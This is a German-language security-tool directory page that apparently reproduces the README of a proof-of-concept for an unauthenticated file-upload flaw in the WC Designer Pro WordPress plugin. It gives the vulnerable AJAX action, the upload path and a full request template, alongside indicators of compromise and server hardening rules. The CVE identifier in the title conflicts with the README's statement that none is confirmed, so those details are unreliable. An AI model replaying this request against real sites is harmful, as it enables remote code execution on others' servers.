Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-6440-Poc-Exploit — Exploit für nicht authentifizierte Remote-Codeausführung im WC Designer Pro WordPress-Plugin. Automatisiert die Erkennung, das Hochladen von Dateien und den Shell-Zugriff über einen verwundbaren AJAX-Endpunkt. | Kitploit
Tools/GitHubGitHub/m2hcz/cve-2025-6440-poc-exploit
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubm2hcz/cve-2025-6440-poc-exploit

CVE-2025-6440-Poc-Exploit

Exploit für nicht authentifizierte Remote-Codeausführung im WC Designer Pro WordPress-Plugin. Automatisiert die Erkennung, das Hochladen von Dateien und den Shell-Zugriff über einen verwundbaren AJAX-Endpunkt.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
122vor 1 MonatNoch nicht geprüft
Teilen

WC Designer Pro — Nicht authentifizierter beliebiger Datei-Upload

Proof of Concept für Sicherheitsforschung

Python WordPress Research

CWE Severity Authentication

Ein nicht-destruktives Proof of Concept für eine nicht authentifizierte Schwachstelle für beliebige Datei-Uploads, die das WordPress-Plugin WC Designer Pro betrifft.


Inhaltsverzeichnis

  • Überblick über die Schwachstelle
  • Sicherheitsauswirkung
  • Betroffene Versionen
  • Grundursache
  • Angriffsablauf
  • Anforderungen
  • Installation
  • Verwendung
  • Technische Details
  • Sichere Verifizierung
  • Indikatoren für eine Gefährdung
  • Behebung
  • Rechtmäßige und ethische Nutzung
  • Offenlegungsstatus
  • Referenzen
  • Danksagungen

Überblick über die Schwachstelle

WC Designer Pro enthält eine nicht authentifizierte Schwachstelle für beliebige Datei-Uploads in einer AJAX-Aktion, die über den admin-ajax.php-Endpunkt von WordPress bereitgestellt wird.

Der betroffene Handler verarbeitet vom Benutzer kontrollierte Dateimetadaten und Dateiinhalte, ohne eine ausreichende Authentifizierung, Autorisierung, Erweiterungsvalidierung, MIME-Typ-Validierung oder serverseitige Dateinamenbeschränkungen durchzusetzen.

Unter anfälligen Konfigurationen könnte ein nicht authentifizierter Angreifer eine serverausführbare Datei in ein webbasiert zugängliches Verzeichnis hochladen. Eine erfolgreiche Ausnutzung kann zur Remote-Code-Ausführung mit den Berechtigungen des Webserver-Prozesses führen.

EigenschaftWert
ProduktWC Designer Pro
PlattformWordPress
SchwachstellenklasseUneingeschränkter beliebiger Datei-Upload
CWECWE-434
Authentifizierung erforderlichNein
Benutzerinteraktion erforderlichNein
Potenzielle AuswirkungRemote-Code-Ausführung
AngriffskomplexitätNiedrig
Anfällige KomponenteWordPress AJAX-Upload-Handler
AJAX-Aktionwcdp_save_canvas_design_ajax

Der genaue betroffene Versionsbereich, die CVE-Kennung und der CVSS-Score dürfen erst veröffentlicht werden, nachdem sie unabhängig verifiziert wurden.


Sicherheitsauswirkung

Eine erfolgreiche Ausnutzung könnte einem nicht authentifizierten Angreifer Folgendes ermöglichen:

  • Hochladen nicht autorisierter Dateien in die WordPress-Installation.
  • Speichern von Dateien in einem öffentlich zugänglichen Uploads-Verzeichnis.
  • Ausführen von serverseitigem Code, wenn ausführbare Erweiterungen akzeptiert werden.
  • Lesen oder Ändern von Daten, die für das Webserver-Konto zugänglich sind.
  • Kompromittieren der betroffenen WordPress-Installation.
  • Nutzen des kompromittierten Servers als Ausgangspunkt für weitere Angriffe.

Die endgültige Auswirkung hängt von der Webserver-Konfiguration, den PHP-Ausführungsregeln, den Dateisystemberechtigungen und den vom Hosting-Anbieter bereitgestellten Sicherheitskontrollen ab.


Betroffene Versionen

Der betroffene Versionsbereich wird derzeit validiert.

root@kitploit:~
Produkt: WC Designer Pro
Betroffene Versionen: Noch zu bestätigen
Behobene Version: Noch zu bestätigen
Patch-Status: Noch zu bestätigen

Geben Sie nicht an, dass jede Version betroffen ist, es sei denn, Tests oder die Bestätigung des Anbieters stützen diese Schlussfolgerung.


Grundursache

Der anfällige Upload-Ablauf scheint den vom Angreifer kontrollierten Werten zu vertrauen, die an die folgende AJAX-Aktion übergeben werden:

root@kitploit:~
wcdp_save_canvas_design_ajax

Die Anfrage enthält Dateimetadaten wie:

  • Dateierweiterung
  • Dateikennung
  • Zielkennung
  • Hochgeladene Dateiinhalte

Die Schwachstelle besteht, wenn der Server diese Werte akzeptiert, ohne alle folgenden Kontrollen durchzuführen:

  1. Authentifizierungs- und Autorisierungsprüfungen.
  2. WordPress-Nonce-Validierung.
  3. Strenge Erweiterungs-Allowlist.
  4. MIME-Typ-Validierung basierend auf dem Dateiinhalt.
  5. Normalisierung und Bereinigung von Dateinamen.
  6. Durchsetzung eines nicht ausführbaren Upload-Ziels.
  7. Verhinderung des direkten Webzugriffs auf temporäre Dateien.

Angriffsablauf

root@kitploit:~
Nicht authentifizierte Anfrage
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Unzureichende Validierung der hochgeladenen Datei
          │
          ▼
Datei wird in ein webbasiert zugängliches Verzeichnis geschrieben
          │
          ▼
Potenzielle serverseitige Code-Ausführung

Der beobachtete Upload-Pfad folgt dieser Struktur:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}

Der genaue Pfad kann je nach Plugin-Version, WordPress-Konfiguration und Serverumgebung variieren.


Anforderungen

  • Python 3.8 oder neuer
  • pip
  • Eine WordPress-Laborumgebung
  • Ein autorisiertes Ziel
  • Eine anfällige WC Designer Pro-Installation

Dieses Proof of Concept darf nicht gegen Systeme Dritter ohne ausdrückliche schriftliche Genehmigung verwendet werden.


Installation

Repository klonen:

root@kitploit:~
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

Virtuelle Umgebung erstellen und aktivieren:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate

Unter Windows:

root@kitploit:~
python -m venv .venv
.venv\Scripts\Activate.ps1

Abhängigkeiten installieren:

root@kitploit:~
pip install -r requirements.txt

Beispiel requirements.txt:

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

Verwendung

Das Proof of Concept sollte nur gegen ein einzelnes autorisiertes Laborziel ausgeführt werden.

root@kitploit:~
python3 exploit.py --url https://wordpress-lab.example

Für eine nicht-destruktive Verifizierung:

root@kitploit:~
python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

Beispieldatei für die Verifizierung:

root@kitploit:~
WC Designer Pro Sicherheitsverifizierung
Forscher: m2hcz
Zweck: Autorisierter nicht-destruktiver Test

Verwenden Sie den integrierten Hilfe-Befehl, um die unterstützten Argumente anzuzeigen:

root@kitploit:~
python3 exploit.py --help

Beispielausgabe:

root@kitploit:~
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

WC Designer Pro Verifizierungs-PoC für beliebige Datei-Uploads

options:
  -h, --help         show this help message and exit
  --url URL          autorisiertes WordPress-Ziel
  --file FILE        harmlose Verifizierungsdatei
  --timeout SECONDS  HTTP-Request-Timeout

Technische Details

Anfälliger Endpunkt

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

Die Anfrage ruft Folgendes auf:

root@kitploit:~
action=wcdp_save_canvas_design_ajax

Eine vereinfachte Anfragestruktur ist unten dargestellt:

root@kitploit:~
------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Autorisierte Sicherheitsverifizierung
------Boundary--

Dieses Beispiel verwendet absichtlich eine nicht ausführbare Textdatei.

Beobachtete Antwort

Eine erfolgreiche Anfrage kann eine Antwort ähnlich der folgenden zurückgeben:

root@kitploit:~
{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

Eine erfolgreiche Antwort allein beweist keine Remote-Code-Ausführung. Der Forscher muss separat bestätigen, dass:

  1. Die Datei erstellt wurde.
  2. Die Datei zugänglich ist.
  3. Das Zielverzeichnis die serverseitige Ausführung erlaubt.
  4. Der Test in einer autorisierten Umgebung durchgeführt wurde.

Sichere Verifizierung

Das empfohlene Verifizierungsverfahren ist:

  1. WordPress in einer isolierten lokalen Umgebung bereitstellen.
  2. Die vermutlich anfällige Plugin-Version installieren.
  3. Eine harmlose .txt-Markierungsdatei erstellen.
  4. Die Markierungsdatei über die betroffene AJAX-Aktion übermitteln.
  5. Bestätigen, ob die Datei ohne Authentifizierung gespeichert wurde.
  6. Die HTTP-Anfrage und -Antwort aufzeichnen.
  7. Die hochgeladene Markierungsdatei löschen.
  8. Die Laborumgebung zerstören oder zurücksetzen.

Vermeiden Sie das Hochladen von Web-Shells oder Payloads zur Befehlsausführung, wenn eine harmlose Markierungsdatei ausreicht, um die Schwachstelle zu demonstrieren.

Erwartete Beweise

Ein gültiger Bericht sollte Folgendes enthalten:

  • WordPress-Version.
  • WC Designer Pro-Version.
  • Webserver- und PHP-Versionen.
  • Vollständige HTTP-Anfrage.
  • Vollständige HTTP-Antwort.
  • Resultierenden Dateipfad.
  • Nachweis, dass keine authentifizierte Sitzung verwendet wurde.
  • Screenshot oder Protokoll, das die hochgeladene Markierung bestätigt.
  • Bestätigung der Bereinigung.

Indikatoren für eine Gefährdung

Administratoren sollten das folgende Verzeichnis überprüfen:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/

Mögliche Indikatoren umfassen:

  • Unerwartete .php, .phtml, .phar oder ähnliche ausführbare Dateien.
  • Zufällig benannte Unterverzeichnisse.
  • Dateien, die von unbekannten Benutzern erstellt wurden.
  • Anfragen an admin-ajax.php unter Verwendung der betroffenen AJAX-Aktion.
  • HTTP-Anfragen, die auf neu erstellte Dateien im temporären Upload-Verzeichnis zugreifen.
  • Unterprozesse, die unerwartet vom PHP- oder Webserver-Prozess erstellt wurden.

Beispiel für eine Protokollsuche:

root@kitploit:~
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

Beispiel für eine Dateisystemsuche:

root@kitploit:~
find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

Behebung

Website-Administratoren sollten:

  1. WC Designer Pro auf eine bestätigte gepatchte Version aktualisieren, sobald eine verfügbar ist.
  2. Das Plugin deaktivieren und entfernen, wenn kein Patch verfügbar ist.
  3. Die serverseitige Skriptausführung in WordPress-Upload-Verzeichnissen blockieren.
  4. Das temporäre Upload-Verzeichnis auf nicht autorisierte Dateien überprüfen.
  5. Webserver-Zugriffsprotokolle auf Ausnutzungsversuche überprüfen.
  6. WordPress-Salts und administrative Anmeldeinformationen rotieren, wenn eine Kompromittierung vermutet wird.
  7. Datenbank-, Hosting-, FTP-, SSH- und API-Anmeldeinformationen rotieren, wenn relevant.
  8. Die WordPress-Installation nach bestätigter Kompromittierung aus vertrauenswürdigen Quellen neu aufbauen.

Empfohlene Serverkonfiguration

Für Nginx die PHP-Ausführung in Uploads verweigern:

root@kitploit:~
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Für Apache eine geeignete Regel im Uploads-Verzeichnis platzieren:

root@kitploit:~
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

Diese Kontrollen sind Maßnahmen der Verteidigung in der Tiefe und ersetzen nicht die Behebung des anfälligen Plugin-Codes.

Empfohlene Code-Ebene-Kontrollen

Plugin-Maintainer sollten:

  • Authentifizierung anfordern, wo angemessen.
  • Benutzerfähigkeiten mit current_user_can() überprüfen.
  • Ein WordPress-Nonce anfordern und validieren.
  • Eine strenge Allowlist zulässiger Erweiterungen verwenden.
  • Dateien mit wp_check_filetype_and_ext() validieren.
  • Serverseitige Dateinamen generieren.
  • Temporäre Dateien nach Möglichkeit außerhalb des Web-Roots speichern.
  • Verhindern, dass ausführbare Inhalte in Upload-Verzeichnissen gespeichert werden.
  • Generische Fehler zurückgeben, ohne interne Pfade offenzulegen.

Rechtmäßige und ethische Nutzung

Dieses Repository ist ausschließlich bestimmt für:

  • Autorisierte Penetrationstests.
  • Schwachstellenforschung.
  • Defensive Validierung.
  • Sicherheitsschulung.
  • Reproduktion in isolierten Laborumgebungen.

Verwenden Sie diesen Code nicht, um auf Systeme zuzugreifen, sie zu modifizieren, zu stören oder zu kompromittieren, ohne ausdrückliche Genehmigung.

Der Autor ist nicht verantwortlich für nicht autorisierte, illegale oder missbräuchliche Verwendung dieses Materials. Benutzer sind allein dafür verantwortlich, geltende Gesetze, Verträge, Regeln für das Engagement und Anforderungen an koordinierte Schwachstellenoffenlegung einzuhalten.


Offenlegungsstatus

root@kitploit:~
Entdeckungsdatum:       Noch hinzuzufügen
Anbieter kontaktiert:   Noch hinzuzufügen
Antwort des Anbieters:  Noch hinzuzufügen
Patch veröffentlicht:   Noch hinzuzufügen
CVE beantragt:          Noch hinzuzufügen
CVE zugewiesen:         Noch hinzuzufügen
Öffentliche Offenlegung: Noch hinzuzufügen

Veröffentlichen Sie keinen Platzhalter-CVE, als wäre es eine zugewiesene Kennung.

Wenn eine CVE zugewiesen wird, ersetzen Sie den Platzhalter durch den offiziellen Datensatz:

root@kitploit:~
CVE: CVE-YYYY-NNNNN
CVSS: Offizielle oder dokumentierte Forscherbewertung

Referenzen

  • WordPress Plugin Security
  • WordPress AJAX Documentation
  • OWASP File Upload Cheat Sheet
  • OWASP Unrestricted File Upload
  • CWE-434: Unrestricted Upload of File with Dangerous Type

Danksagungen

m2hcz
Offensive Security Researcher
GitHub · Portfolio

Änderungsprotokoll

v1.0.0

  • Workflow zur Schwachstellenverifizierung hinzugefügt.
  • Unterstützung für nicht-destruktive Markierungsdateien hinzugefügt.
  • Erkennung von Endpunkt- und Plugin-Gefährdung hinzugefügt.
  • Strukturierte Beweissammlung hinzugefügt.
  • Request-Timeout und Fehlerbehandlung hinzugefügt.
  • Anleitung zur Behebung und Incident-Response hinzugefügt.

Sicherheitsforschung sollte Risiken reduzieren, nicht schaffen.

Erstellt für autorisierte Sicherheitstests von m2hcz.

Tool herunterladen